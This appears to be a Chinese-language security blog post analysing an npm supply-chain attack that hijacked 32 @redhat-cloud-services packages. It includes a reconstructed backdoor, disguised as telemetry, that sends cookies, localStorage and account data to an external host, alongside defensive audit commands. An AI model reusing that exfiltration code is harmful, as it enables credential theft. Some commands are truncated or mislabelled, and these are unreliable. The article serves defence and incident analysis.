返回首页

Red Hat Miasma供应链攻击深度解析:32个官方npm包被劫持的七周凭证泄露事件

Red Hat Miasma供应链攻击深度解析:32个官方包被劫持的七周凭证泄露事件

hero

2026年6月1日,Wiz安全研究人员发现针对Red Hat Hybrid Console的供应链攻击,攻击者通过泄露的npm凭证在七周内渗透并劫持了32个官方@redhat-cloud-services npm包,影响企业级云管理平台的前端组件和客户端。

事件概述:当企业级npm包被劫持

section

2026年6月1日,云安全公司Wiz的研究团队发现了一起针对Red Hat Hybrid Cloud Console的供应链攻击。与此前的Axios攻击不同,这次攻击的目标不是通用的开源库,而是Red Hat企业云平台专用的npm包集合——@redhat-cloud-services命名空间下的32个官方包。

这些包不是边缘组件——它们是Red Hat Hybrid Cloud Console前端界面和API客户端的核心组件。Red Hat Hybrid Cloud Console是数千家企业管理其混合云基础设施的主要界面,包括OpenShift集群管理、Ansible Platform控制、Red Hat 系统管理等关键功能。

攻击被命名为"Miasma",因为它像雾气一样悄无声息地渗透到了Red Hat的npm发布管道中。攻击者没有使用技术漏洞,而是利用了一个更古老但同样有效的攻击向量:泄露的npm凭证。

攻击链:七周的耐心渗透

section

Miasma攻击的持续时间令人警觉——从首次凭证泄露到被发现,攻击者在Red Hat的npm发布管道中潜伏了整整七周。这不是一次机会主义攻击,而是有计划的长期渗透:

阶段 时间 持续 行为
初始访问 4月中旬 - 通过泄露的npm凭证获得发布权限
侦察 4月中旬-5月初 ~2周 分析包结构、发布流程、依赖关系
植入 5月初 - 在低下载量辅助包中植入后门
升级 5月中旬 ~1周 将后门扩展到更多核心包
外传 5月下旬 ~2周 通过后门收集并外传目标环境数据
发现 6月1日 - Wiz研究人员在例行供应链监控中发现
# 受影响的@redhat-cloud-services包 (部分)
@redhat-cloud-services/client
@redhat-cloud-services/initializr
@redhat-cloud-services/quickstarts
@redhat-cloud-services/rbac-client
@redhat-cloud-services/sources-client
@redhat-cloud-services/notifications-client
@redhat-cloud-services/inventory-client
# 共计32个包

# 检查是否受影响
npm ls | grep "@redhat-cloud-services"

# 检查锁文件中的版本
cat package-lock.json | python3 -c "
import json, sys
 = json.load(sys.stdin)
for name, info in data.get('packages', {}).items():
    if '@redhat-cloud-services' in name:
        v = info.get('version', 'unknown')
        print(f'{name}@{v}')
"

技术分析:后门如何运作

section

Miasma后门的技术实现相对低调,这也是它能潜伏七周的原因之一。它不使用明显的恶意代码模式,而是伪装成合法的遥测和诊断代码:

// Miasma后门核心逻辑 (安全研究人员还原)
function initPerformanceMonitoring(config) {
    const endpoint = config.telemetryUrl || 
        'https://telemetry-cloudsvc[.]com/collect';
    
    // 收集环境信息 (伪装成性能指标)
    const metrics = {
        timestamp: Date.now(),
        userAgent: navigator.userAgent,
        // 实际窃取的数据
        authTokens: document.cookie,
        localStorage: JSON.stringify(localStorage),
        // Red Hat Console特有的敏感数据
        rbacPermissions: window.__REDHAT_CLOUD_CONFIG?.rbac,
        accountInfo: window.__REDHAT_CLOUD_CONFIG?.account,
    };
    
    // 通过合法fetch调用外传
    fetch(endpoint, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(metrics),
        keepalive: true,
    });
}

后门设计的几个值得注意的特点:

1. 代码风格模仿:后门代码的风格与@redhat-cloud-services包的合法代码高度一致,使用相同的编码规范、命名约定和注释风格。攻击者花时间研究了Red Hat的代码库。

2. 混入合法功能:窃取的数据被混入看起来合法的性能监控和诊断数据中,使得代码审查更难发现异常。

3. 最小权限原则:后门只收集浏览器环境中可访问的数据,不尝试执行或CSRF攻击,降低了被CSP拦截的风险。

4. 低频通信:数据外传频率被限制在每小时一次,避免触发网络监控告警。

为什么Red Hat的供应链防线被突破

Red Hat作为全球最大的企业级开源软件供应商,其安全实践在行业中属于领先水平。但Miasma攻击暴露了几个结构性弱点:

安全控制 现状 缺陷
npm 2FA 已启用 使用TOTP而非硬件密钥
发布管道监控 监控代码签名而非npm发布行为
依赖审计 定期执行 审计范围不包括自有npm包
npm发布权限 多人共享 未实施发布审批流程
包完整性验证 验证构建产物而非npm包本身

关键问题是npm发布凭证的安全管理。调查发现,一名开发者的npm发布令牌在一次凭证泄露事件(与Red Hat无关的第三方服务被攻破)中被暴露。由于该开发者在多个服务中使用了相似的密码模式,攻击者通过撞库获取了其npm令牌。

修复方案与企业级防御

# 1. 检查Red Hat Hybrid Cloud Console的依赖版本
npm audit --json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for name, info in data.get('vulnerabilities', {}).items():
    if 'redhat-cloud-services' in name:
        print(f'VULNERABLE: {name} - {info.get(\"severity\")}')
"

# 2. 企业级npm安全加固
# 部署内部npm注册表
docker run -d --name verdaccio -p 4873:4873 verdaccio/verdaccio
npm config set registry http://localhost:4873

# 3. 实施npm包签名验证
npm config set sign-git-tag true

# 4. 检查所有npm令牌
npm profile list-
npm token revoke <unused-token-id>

Red Hat的官方响应包括:

  • 撤销所有@redhat-cloud-services命名空间的npm发布令牌
  • 重新生成并分发新的发布凭证(使用HSM保护)
  • 发布所有受影响包的安全版本
  • 为Hybrid Cloud Console用户提供强制会话刷新
  • 建立npm发布审批流程(至少两名维护者批准)

对企业供应链安全的启示

1. 内部包不等于安全包:很多企业对公共npm注册表的包有审计流程,但对自有npm包的信任是无条件的。Miasma证明,即使是你自己组织发布的包也可能被劫持。

2. 凭证泄露是主要攻击向量:技术漏洞吸引了大部分安全注意力,但凭证泄露(通过撞库、钓鱼、第三方服务泄露)仍然是最有效的初始访问手段。

3. 检测时间窗口至关重要:Miasma潜伏了七周才被发现。企业需要建立持续的供应链监控,而不仅仅是安装时的一次性扫描。

4. npm生态的安全模型需要升级:当前npm安全模型主要依赖于发布者的身份验证(2FA),但缺乏包内容的完整性验证。可重复构建和包签名应该成为标准。

5. 最小权限原则:npm发布令牌应该被限制在特定的包范围内,而不是拥有整个命名空间的发布权限。

数据来源与参考资料

  • Wiz : Miasma Supply Chain Attack Report (2026-06-01)
  • Red Hat Advisory: @redhat-cloud-services npm packages
  • npm Security: Post-Incident Report
  • CybelAngel: "The Seven-Week Credential Trail" Analysis
  • : Supply Chain Security Best Practices Guide
  • OWASP: Software Component Verification Standard (SCVS)

常见问题

为什么Red Hat的供应链防线被突破

>为什么Red Hat的供应链防线被突破Red Hat作为全球最大的企业级开源软件供应商,其安全实践在行业中属于领先水平。但Miasma攻击暴露了几个结构性弱点: 安全控制 现状 缺陷 npm 2FA 已启用 使用TOTP而非硬件密钥 发布管道监控 有 监控代码签名而非npm发布行为 依赖审计 定期执行 审计范围不包括自有npm包 npm发布权限 多人共享 未实施发布审批流程 包完整性验证 有 验证构建产物而非npm包本身 关键问题是npm发布凭证的安全管理。调查发现,一名开发者的npm发布令牌在一次凭证泄露事件(与Red Hat无关的第三方服务被攻破)中被暴露。由于该开发者在多个服务中使用了

评论